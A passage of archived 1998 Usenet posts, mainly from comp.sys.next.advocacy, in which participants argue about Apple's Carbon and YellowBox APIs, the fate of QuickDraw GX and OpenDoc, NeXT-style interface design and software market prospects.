References: <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com> <365cd784.0@news.depaul.edu> <73pg4s$49l@news1.panix.com> <36607fa3.0@news.depaul.edu>
On 28 Nov 98 22:56:35 GMT, Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>> YellowBox is not being given a "free ride" no matter when it ships. While YB
>> Apps might sell in larger numbers to the larger MacOS market (when compared
>> to the OpenStep market) I doubt that they will even make up 10% of the total
>> App installed base within the first two years of OSX. I would wager that YB
>> won't account for more than 50% of all Apps available or installed in the next
>> five years.
>The *same* obstacles are in store for *any* developer, Carbon *or*
>YellowBox. A new Carbon word processor would have exactly the same
>competitive situation as a new YellowBox word processor.
>
>The problem is not Carbon. The problem is that MacOS is a mature
>software market.
I don't doubt this.
My point is that if Carbon did not exist, there would be a greater demand
for YB Apps within the OSX market. (And yes, I do think that market would
be smaller without Carbon than with Carbon.)
>> I am not saying that Carbon is any way bad for OSX. I am saying that Carbon
>> is bad for YB, IN THE SHORT TERM, since it gives users a reason to skip
>> buying YB Apps, and wait for Carbon versions of Apps that they already own
>> and use. It also gives Mac users a reason to skip over OSX Server and wait
>> for OSX with Carbon to ship.
>So basically you're saying that you think people should have to buy
>YellowBox apps, regardless of their quality, utility, or other
>advantages? Just *because* they're YellowBox? That's absurd.
That is not what I am saying.
I am saying that Carbon is bad for YB, IN THE SHORT TERM.
I made these statments in response from some individuals that are upset that
Apple is not promoting OpenStep, nor does it appear that they will be pushing
OSX Server as a general purpose OS. With Carbon on the horizon, there is much
less demand to switch to OSX _now_ and run old Apps in the BB while buying
all new Apps to run native, just to have new native versions of your old Apps
shipping in a year to eighteen months.
>> Again, I am not saying that Carbon is bad for OSX or for YB in the long
>> term. It is bad for YB in the sort term. It has been stealing press from YB,
>> and gives people a reason to doubt that YB isn't a long term plan or core
>> asset.
>Who cares about this? OS X doesn't *need* a lot of developer adoption
>short term. When developers figure out that it's here to stay (which
>for many can only be due to Apple's actions, not mere PR or announcements)
>they will come on board, but only if it makes fiscal sense.
I agree with this. YB is a long term plan, not a short term plan.
(Of course, I don't have my livelihood tied into it so I am not going to be as
affected by delays as some of the old-timers here)
From: "Jin Kim" <kwazyjin@hotmail.com>
Newsgroups: comp.sys.next.advocacy
References: <iSG72.15689$aF1.15849@typhoon-sf.snfc21.pbi.net> <iv_72.1710$CY1.7257627@news.itd.umich.edu> <e0182.16499$aF1.18446@typhoon-sf.snfc21.pbi.net>
Subject: Re: Do I have this right?
Message-ID: <dQi82.1765$CY1.7689566@news.itd.umich.edu>
Date: Sun, 29 Nov 1998 16:12:38 -0500
NNTP-Posting-Date: Sun, 29 Nov 1998 16:15:53 EDT
me@me.me wrote in message ...
>On 11/28/98, "Jin Kim" wrote:
>
>I like your responses.
Thanks!
>>Objective-C has been around for awhile. But I wouldn't say that it's
>>technological dinosaur. In reality Objective-C is only onegeneration
>>behind in computer programming language, if you want to be picky.
>> And in that case, the cutting edge may belong to Java depending on
>> your opinion.
>
>IMO, dynamic languages are the future. Objective-C and Java support
>some similiar and some different dynamic features. Neither is anywhere
>near as dynamic as languages like Smalltalk, Self, NetwonScript,
>Python or Lua. And both Objective-C and Java are stuck in the age of
>the slow edit/compile cycle which makes them inappropriate for
>companies operating on "internet time".
Hmm, if you mean interpreted laguage = dynamic, I don't agree. I especially
don't agree that edit/compile cycle is too slow for "internet time." In
small systems, compilation time is obviously minimal. In larger systems,
you are likely to have many files which don't get touched in edit time.
This means that you have pre-compiled object files which reduces compile
time greatly. Besides, system wide clearn compilation is done during off
hours when nobody's working on the code anyhow. There places for
interepreted languages, but I don't think that's where the future lies for
the sake of reducing development time. In reality, especially for large
systems, length of development time isn't based much on time it takes to
compile.
>> This is all subjective of course. Java as language isn't any
>> better than Objective-C in my opinion. And "write once, run
>> anywhere" already existed
>> via OpenStep. Just not hyped as much and worked better than Java.;)
>
>I agree, OpenStep did a better job with multiplatform APIs.
>VMs are a good idea though. I would have liked to have seen NeXT make
>the transition from Objective-C to their own implementation of
>Smalltalk. But machines weren't as fast in those days. The irony
>is that now that machines are fast enough to comfortably run VMs,
>we're stuck using VM's encrusted with the remants of non-VM based
>technological development pathways.
I think relatively quick adoption of Java is a good example of little
concern on compilation time length. Java is closely related to SmallTalk.
But Java made it's inroads by offering a cross platform solution rather than
offering less compilation time. Not that SmallTalk was touted for reduction
in compilation time. I also think that even though there are some
advantages of using VM, I wouldn't want to place another software layer to
the hardware on everything.
- Jin
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime
Vectors and Apple's graphics)
Date: Sun, 29 Nov 1998 21:40:05 -0500
Organization: Styx DTP
Sender: monner@dial02p18.ottawa.storm.ca
Message-ID: <36620583.CC7AED0A@tone.ca>
References: <73pg4r$49l@news1.panix.com> <B2864E26-6DB63@206.165.43.150> <73s9vb$1lo@news1.panix.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 30 Nov 1998 02:41:04 GMT
Sal Denaro wrote:
> We have proof that MS wanted QT to get killed, why did Apple fight for QT
> but give up on GX, OpenDoc and PowerTalk?
>
I know this is probably a rhetorical question, and my answer will probably be
completely out of context of the rest of the thread, but what the hell, that
never stopped me answering a question before.
Three different reasons:
Powertalk - no one wanted.
OpenDoc - was intended to have been very cross-platform, which was its whole
point. It ended up no one was doing it but Apple (and IBM a little bit), so why
bother. Its original point had already been lost.
GX - was an excellent technology, that was adopted to some extent, but by new
developers. Since the original intent was that it replace the existing
Quickdraw, it was necessary that it be adopted wholesale. Existing developers
weren't interested, because they had already built much of what GX gave them,
and weren't about to rewite their apps to get the rest. (very strong parallel
with Rhapsody, don't you think?)
As far as I know Apple hasn't dropped GX, it simply changed things so that it
is a simple extension, rather than replacing Quickdraw. GXGraphics extension
works in 8.5, and I expect it to work in 8.6. GX stuff was announced as part of
the package for enhanced Quickdraw, so they have a pathway to MacOSX. (The
developers can't say how much work they have to do due to NDAs.)
Michael Monner
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: 30 Nov 1998 05:57:41 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn764cuj.o6h.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <36426F6E.2AED1A73@cygnus.com> <71u48m$dop$3@news.xmission.com> <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <7243tf$4a5@magus.cs.utah.edu>
NNTP-Posting-Date: 30 Nov 1998 05:57:41 GMT
On 8 Nov 1998 12:47:43 GMT, Lee Hollaar <hollaar@sal.cs.utah.edu> wrote:
:In article <slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> mbkennel <replace this with '@'> yahoo.com writes:
:>This is important: If you believe in Free Software, you ought not vote
:>Republican in any national United States election.
:
:What a non sequitur. There are certainly Republicans that are concerned
:about Microsoft's power in the software marketplace. Bob Dole formed
:an organization with Robert Bork to criticize Microsoft's antitrust
:violations. My senator, Orrin Hatch, has held hearings before the
:Senate Judiciary Committee regarding Microsoft's practices.
:
:Maybe the writer is just inclined to support Democrats for other reasons,
:and is using Free Software and Microsoft as an excuse for getting you to
:support his position?
No. I agree that there are Republicans of deep integrity who are
skeptical of Microsoft's business practices. But as far as I can tell
they do not have any significant power and no voice in any future
Republican presidential administration or relevant Congressional
confirmation committee.
As a generalization, the party is much more likely to take a
laissez-faire attitude in business matters for ideological reasons,
which would translate to letting Microsoft off. This is the position
of many more people in the core of the Republican leadership and
potential presidential candidates, e.g. Gingrich (though his star has
recently dimmed), Lott, Kemp, etc.... Not that they particularly care
one bit about Microsoft one way or another---they care about the
general ideological image they wish to portray, and opposition to
government intervention in all matters except non-white-collar crime
is irreducibly central to their identity.
Bork and Dole are completely irrelevant to any Republican policy
makers, and have been dismissed by other R's as hired cronies of
Microsoft's competitors. Hatch is seen, potentially legitimately, as
a Novell shill.
Q: What is George W. Bush's position on this?
: Lee Hollaar
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
From: Michael Rousseau <Michael.Rousseau@Sun.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
Date: Sun, 29 Nov 1998 22:50:32 -0700
Organization: Sun Microsystems
Message-ID: <36623228.DE3E6D7E@Sun.COM>
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Well put. My enthusiasm for OS X is dwindling, the light fading, I'm
sad to say. Not to dwell on any negatives, for we know there are way
too many these days. I have my OpenStep 4.2 and NEXTSTEP 3.3 CDs
hermetcally sealed and backed up, for possible rebirth in a better day
of the future when elegance and beauty are appreciated by the masses.
Actually, in reading Will's post, I was thinking of the cool
"superfluous" mode that WindowMaker has for undocking apps and dropping
on the desktop. The tile shatters into tiny fragments which scatter and
dissolve.
It was interesting to me that he finish by mentioning the nice work
being attempted by the GNUStep/WindowMaker folks. My little SPARC LX
running Linux and "Classic NeXT"-style WindowMaker seems very
comfortable aside my Cube.
Courage, comrades,
Mike
1993 SS10, Solaris, OS 4.2, RH Linux 5.1
1993 SS LX, RH 5.2
1989 Cube, OS 4.2/M68k
1988 MacII ci
Zero Intel
WillAdams wrote:
>
> My understanding is that they've already done a file browser, but unfortunately
> have made the desktop a valid drag and drop target which does away with the
> nicety of having a shelf which is clickable to take one to a given spot in the
> file system, with the void of a desktop into which one drops items one wishes
> to remove from the shelf.
>
> Fiend.app has already been ported, so that goes a long way towards a dock
> replacement, and there's also a Spectre.app program,
> http://www.object-factory.com/~erik/Spectre/ for Openstep for Enterprise.
>
> Unfortunately, it seems to me that the pristine, elegant NeXT interface is
> getting obscured by unneccessary Mac elements, and the result while possibly
> nicer than the Mac UI (which saw not improvements between 1984 and 1995, see
> Jobs' quote on this in Byte, Sept. 1995, and little enough since then) will
> pale beside the austere elegance of the NeXT UI.
>
> However, this has all been discussed into the ground in the past--see
> www.dejanews.com.
>
> All I want is clean bevels, sharp corners, an over-loaded, draggable minimize
> button, a desktop void, a file browser with clickable shelf (tabs would be nice
> here), services and all of the self-contained NeXT apps (Webster's, Oxford's
> Shakespeare, TeXView, etc.).
>
> I do not want the Mac Finder which I gave up years ago, nor an interface
> cluttered with needless ornamentation. Fortunately, GNUstep is progressing
> nicely.
>
> William
>
> William Adams
> http://members.aol.com/willadams
> Sphinx of black quartz, judge my vow.
--
********************************************************************
______
/_____/\ Michael Rousseau
/_____\\ \ Resolution Center
/_____\ \\ / Operating Systems
/_____/ \/ / / Sun Microsystems
/_____/ / \//\ Broomfield, CO 80021
\_____\//\ / /
\_____/ / /\ / (303) 272-7559 (x27559)
_____/ \\ \ Michael.Rousseau@sun.com
\_____\ \\
\_____\/
********************************************************************
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: Mon, 30 Nov 1998 02:24:45 -0400
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-3011980224460001@jchristie.halifaxcable.dal.ca>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net> <36610f3e.0@news.depaul.edu> <3661612E.EA4077D1@nstar.net> <36621114.0@news.depaul.edu>
For an interesting perspective on what is going on with OS X and the
Yellow Box check out
http://www.stepwise.com/Articles/Editorial/DeveloperBoilOver.html
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to make nice, polite
academic related replies via email.
From: kvzsob@YAHOO.COM
Newsgroups: comp.sys.next.advocacy
Subject: LOWEST PRICES ON MAGAZINES 1027
Message-ID: <S%i82.2341$fn2.3271@news14.ispnews.com>
NNTP-Posting-Date: Sun, 29 Nov 1998 16:28:18 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 29 Nov 1998 21:28:18 GMT
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From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Mon, 30 Nov 1998 14:23:53 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73u9pa$79n$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com> <365cd784.0@news.depaul.edu> <73pg4s$49l@news1.panix.com>
sal@panix.com wrote:
> >> A better phrase would have "YB developers were thrown a curve, and now
> >> find themselves with a competing toolkit"
> >Why does this matter, exactly?
>
> One toolkit will bring over a ton of Apps that Apple users a) already know
> b) already own c) are sold by large Apple ISVs with a lot of market
> credibility in the publishing and content creation markets.
> YellowBox is not being given a "free ride" no matter when it ships. While YB
> Apps might sell in larger numbers to the larger MacOS market (when compared
> to the OpenStep market) I doubt that they will even make up 10% of the total
> App installed base within the first two years of OSX. I would wager that YB
> won't account for more than 50% of all Apps available or installed in the next
> five years.
I think you're being unduly pessimistic. You're probably right about the the
proportion of YB apps in the _installed base_ 2 years out, but that's mainly
because of existing apps being carried over or upgraded. I suspect that
_sales_ figures won't be quite as lopsided. 5 years out? It takes a brave
soul to make predictions that far ahead in this business. I would expect that
if OSX is at all a success (and hence, if Apple is around in 5 years), then
YB apps will by then provide the vast bulk of _sales_ and probably the
majority of installed apps (though I've no idea how you'd measure the latter
statistic).
> I am not saying that Carbon is any way bad for OSX. I am saying that Carbon
> is bad for YB, IN THE SHORT TERM, since it gives users a reason to skip
> buying YB Apps, and wait for Carbon versions of Apps that they already own
> and use. It also gives Mac users a reason to skip over OSX Server and wait
> for OSX with Carbon to ship.
I disagree, I think in the short run Carbon will be GOOD for YB developers.
It guarantees a much wider range of native OSX apps from the first day of
shipment, and thus increases quite substantially the likelihood that OSX will
succeed. And hence it provides a much greater potential market for YB apps.
Several YB developers had the only app of their class in the
NeXTSTEP/OPENSTEP market; did they get rich as a result? Now they'll have to
compete for customers, which is fine. Let the best man win. Given the
economics of YB development, I've no doubt that YB developers can add
features faster and more easily than their carbon counterparts will be able
to.
> Again, I am not saying that Carbon is bad for OSX or for YB in the long
> term. It is bad for YB in the sort term. It has been stealing press from YB,
> and gives people a reason to doubt that YB isn't a long term plan or core
> asset.
The doubts about YB aren't due to the EXISTENCE of carbon, they are due to
Apple's continued total silence. As your own comments show, the existence of
carbon ought to make people much more interested in YB development because of
the much higher probability that OSX will succeed. If this isn't happening,
it's not due to carbon per se but to the way Apple is promoting (or not) the
two APIs.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: Mon, 30 Nov 1998 14:28:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73ua1l$7ds$1@nnrp1.dejanews.com>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net> <36610f3e.0@news.depaul.edu> <3661612E.EA4077D1@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Jonathan W Hendry wrote:
> > QuickTime won because it was actually useful; developers and end users
> > were quick to grasp this, even in the beginning. On the other hand, Apple
> > never successfully made a case for OpenDoc; they never came up with
> > a good, simple reason why the customer would use OpenDoc.
>
> Fair enough. Explain to me how Apple is applying this lesson to
> Rhapsody.
Wow. Sometimes even MJP can hit the nail right on the head!
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: Mon, 30 Nov 1998 15:36:23 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73ue1l$att$1@nnrp1.dejanews.com>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net>
In article <366094F1.484C0F7E@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Carbon wins because it's C, JFC wins because it's Java. YB loses because
> it's Objective-C.
>
Umm, you've been told this on many occasions now: YB is *not* Objective-C; it
is also accessible from Java as part of the standard Apple distribution, and
from Perl, Python etc. using TipTops' Objective-Everything.
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Date: Mon, 30 Nov 1998 15:42:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73uedp$baa$1@nnrp1.dejanews.com>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12> <73pg4r$49l@news1.panix.com> <slrn7614e1.iq8.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <366094F1.484C0F7E@nstar.net> <36610f3e.0@news.depaul.edu> <3661612E.EA4077D1@nstar.net>
In article <3661612E.EA4077D1@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Jonathan W Hendry wrote:
>
> > QuickTime won because it was actually useful; developers and end users
> > were quick to grasp this, even in the beginning. On the other hand,
> > Apple never successfully made a case for OpenDoc; they never came up
> > with a good, simple reason why the customer would use OpenDoc.
>
> Fair enough. Explain to me how Apple is applying this lesson to
> Rhapsody.
>
??!! People have been explaining this for months.
By not calling it Rhapsody.
By calling it MacOS X Apple sidesteps the need to make any case at all,
besides the usual case required for any "upgrade". Instead of having to
convince users that they need this spanking new OS with all of these wizzy
new features, Apple just has to say "The latest and greatest version of the
OS that you know and love". The wizzy new features will just be there.
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
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From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Mon, 30 Nov 1998 10:48:18 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73uerg$o67@crab.afs.com>
References: <01be1188$01ce14e0$06387880@chewy> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com> <73btsl$nb2$1@nnrp1.dejanews.com> <73djku$itc@news1.panix.com> <73efr0$n4o$1@nnrp1.dejanews.com> <73g21j$bd0@news1.panix.com> <73g41e$3bf$1@your.mother.com> <73ie0r$35j@news1.panix.com> <365cd784.0@news.depaul.edu> <73pg4s$49l@news1.panix.com> <73u9pa$79n$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com wrote:
>Several YB developers had the only app of their class in the
>NeXTSTEP/OPENSTEP market; did they get rich as a result?
Well, some did better than others. The main problem was that efforts to sell
the underlying operating system kept getting scaled back, and then the OS
was priced not-to-sell. Most of the applications we're talking about do not
*create* demand for the underlying OS, they satistfy demands among the
already-adopting.
>Given the economics of YB development, I've no doubt that YB
>developers can add features faster and more easily than their
>carbon counterparts will be able to.
Unfortunately, this has nothing at all to do with what it takes to succeed
in the software markets these days.
Greg
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 30 Nov 1998 16:08:53 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <73uful$2e$1@supernews.com>
References: <01be1188$01ce14e0$06387880@chewy> <365cd784.0@news.depaul.edu> <73pg4s$4 <73uerg$o67@crab.afs.com>
In article <73uerg$o67@crab.afs.com>, Greg Anderson <greg@afs.com> wrote:
>>Given the economics of YB development, I've no doubt that YB
>>developers can add features faster and more easily than their
>>carbon counterparts will be able to.
>
>Unfortunately, this has nothing at all to do with what it takes to succeed
>in the software markets these days.
Out of genuine curiosity, what does it take to succeed in the software
market these days? Can new applications break into existing markets?
--
Don McGregor | "Win if you can, lose if you must, but always cheat."
mcgredo@mbay.net | --Jesse Ventura
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
and Apple's graphics)
Date: 29 Nov 98 10:29:25 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B288131B-7125@206.165.43.165>
References: <B286C89F-7F68@206.165.43.190>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
A fun little thing about this claim that the QuickTime vector codec is
suitable for creating vector content. Not only is it obviously not the
case, but even if you DO go through all the trouble of creating a drawing
app using it, it doesn't provide sufficiently robust hit-testing to edit
all the parts of vectors themselves.
I mean, there's a single hit-testing routines for vectors in the QuickTime
API:
CurveGetNearestPathPoint
You use the CurveGetNearestPathPoint function to find the closest point
on a path to a specified point.
Contrast that with the richness of the hit-testing of GX:
GXHitTestShape
This not only returns the closest point on a shape to the specified point
[note the difference between "path" and "shape" -"path" is a
PostScript-oriented, printing-oriented term; "shape" is a
user-oriented/screen-oriented term -the difference in orientation is
reflected in the difference in capabilities], but also allows one to obtain
which *part* of a shape was closest to a given point.
Readers should obtain the "ShapeBrowser" sample application in the GX
software developer's kit and contemplate how easy it is to use GX to edit
various parts of a shape. Contrast this with the QuickTime codec's less
useful function, which feels like it was defined by dedicated to the
capabilities of Display [gag] PostScript, rather than a less-constrained
multi-media/drawing engine.
Readers should also contemplate what it would be like to be able to specify
controls and other user-interface elements that can be hit-test using the
GX call...
<EVIL GRIN>
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
and Apple's graphics)
Date: 30 Nov 98 09:48:48 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2881A89-23017@206.165.43.165>
References: <36620583.CC7AED0A@tone.ca>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.next.advocacy
Michael <michael@tone.ca> said:
>
>As far as I know Apple hasn't dropped GX, it simply changed things so that
>it
>is a simple extension, rather than replacing Quickdraw. GXGraphics
>extension
>works in 8.5, and I expect it to work in 8.6. GX stuff was announced as
part
>of
>the package for enhanced Quickdraw, so they have a pathway to MacOSX.
>(The
>developers can't say how much work they have to do due to NDAs.)
As far as *I* know (I'm not under NDA because I haven't applied), the API
for GX is going away, the shape database of GX is going away, the file
format of GX is going away, the integrated typography and shape handling of
GX is going away, the perspective-handling of GX is going away (a high-end
"true" 3D graphics library may replace this, but that doesn't help non-G3
owners unless it makes it into Carbon in some way, and certainly won't help
Quadra and LC III owners), the color-handling of GX is going away, etc.
Last I heard, all that is left is the core typographical features, and even
THEY may not be as robust as what GX has (although GX doesn't have ATSUI
text-blocks, which everyone asked Apple for for years).
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 30 Nov 1998 17:08:41 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <73ujep$dhb@newsb.netnews.att.com>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <73de05$cio@bgtnsc01.worldnet.att.net> <73eiig$ahm@newsb.netnews.att.com> <73mk0g$ht5@bgtnsc02.worldnet.att.net>
Originator: gupta@tlctest
bobsun <bobsun@worldnet.att.net> wrote:
>My understanding is that India has relaxed tariffs on computer components to
>encourage internal manufacture of PCs. That would impose a disadvantage on
>companies that require exclusive manufacture. I guess Apple might get around
>this by setting up an onshore assembly site. However, think of the
>competitive disadvantage compared to local entrepeneurs assembling PCs.
Apple could set up a wholly owned onshore assembly site, or go into
a joint venture with a local entrepreneur, say, as the majority owner.
There should be no competitive disadvantage except that which Apple
imposes on itself.
>A friend of mine (now returning to India to set up his own software
>business) stated it this way - presently only 5% of the Indian population
>has enough disposable income to by a PC - and that's 5% of what?
5 percent of about a billion is 50 million.
But that estimate is a tad optimistic for the present time.
Income distribution statistics are poor because perhaps
a third to a half of the economy is "black" (undocumented
to avoid paying income taxes, or because of earnings from
various illegal activities). Also, I think no income taxes
are levied on agricultural incomes.
So, here is a statistic that might or might not be relevant :
according to the govt. of India, the total press circulation,
dailies, weeklies, monthlies etc., in all languages, in 1996
was a little under 90 million. I personally find it hard to
believe that where there are 90 million newspaper and magazine
subscriptions there will be 50 million potential computer buyers.
The size of the potential market will increase rapidly, but
there are plenty of other items -- washing machines, TVs,
audio equipment, refrigerators, etc. etc., -- that will likely
be more important to this class of people than computers.
-arun gupta
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Mon, 30 Nov 1998 13:16:34 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73unge$p3g@crab.afs.com>
References: <01be1188$01ce14e0$06387880@chewy> <365cd784.0@news.depaul.edu> <73pg4s$4 <73uerg$o67@crab.afs.com> <73uful$2e$1@supernews.com>
Donald R. McGregor wrote in message <73uful$2e$1@supernews.com>...
>In article <73uerg$o67@crab.afs.com>, Greg Anderson <greg@afs.com> wrote:
>>Unfortunately, this has nothing at all to do with what it takes to succeed
>>in the software markets these days.
>
>Out of genuine curiosity, what does it take to succeed in the software
>market these days? Can new applications break into existing markets?
Not easily. Old applications can't even seem to hang on; viz. WordPerfect
and Lotus.
The number one attribute you need to get even a toe in the door is
compatibility with existing applications in your category. Users' investment
is much more in their data/files than in specific applications (although
retraining does play a role in decisions to switch). If you can't handle
their existing work flawlessly (or nearly so), they have a severe
disincentive to switch. Unfortunately, modern "standard" apps tended to be
feature-bloated, and you have to bloat your own app just to handle all the
quirky stuff that can arise in trying to handle data created by those apps.
Users all seem to be screaming for simplicity these days, but each user's
definition of "simplicity" is different. That's why we had started working
on a project to allow each user to decide which bundles of features were
useful to him, and turn off those that would not be used. In that way, each
user could control the bloat (in terms of menu options, panels, etc).
Unfortunately, unless OSX/Server takes off in a way that seem increasingly
unlikely, we probably can't make the business case for completing that work.
I know it would be a strong selling point, but the risk just isn't worth it
for now.
Greg
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X User Interface
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Organization: needs one
References: <366121D4.6811@earthlink.net> <19981129100451.01040.00000032@ng-cg1.aol.com>
Mime-Version: 1.0
Date: Mon, 30 Nov 1998 18:57:01 GMT
In <19981129100451.01040.00000032@ng-cg1.aol.com> WillAdams wrote:
> My understanding is that they've already done a file browser, but
> unfortunately have made the desktop a valid drag and drop target
> which does away with the nicety of having a shelf which is clickable
> to take one to a given spot in the file system, with the void of a desktop
> into which one drops items one wishes to remove from the shelf.
To me this is a terrible interface anyway though. Seems to me that
removing a tile should be done by dropping it in the trash - like anything
else. The idea of dragging the tile into space gives me as many shivers as
ejecting a floppy by putting it into the trash.
That said however, the ability to drop into "nowhere" is only one way to
look at how this works. I prefer to look at it as "drag it out of the
dock". If you look at it that way, you can still use this action to remove
tiles even with the droppable desktop.
> Fiend.app has already been ported, so that goes a long way towards a dock
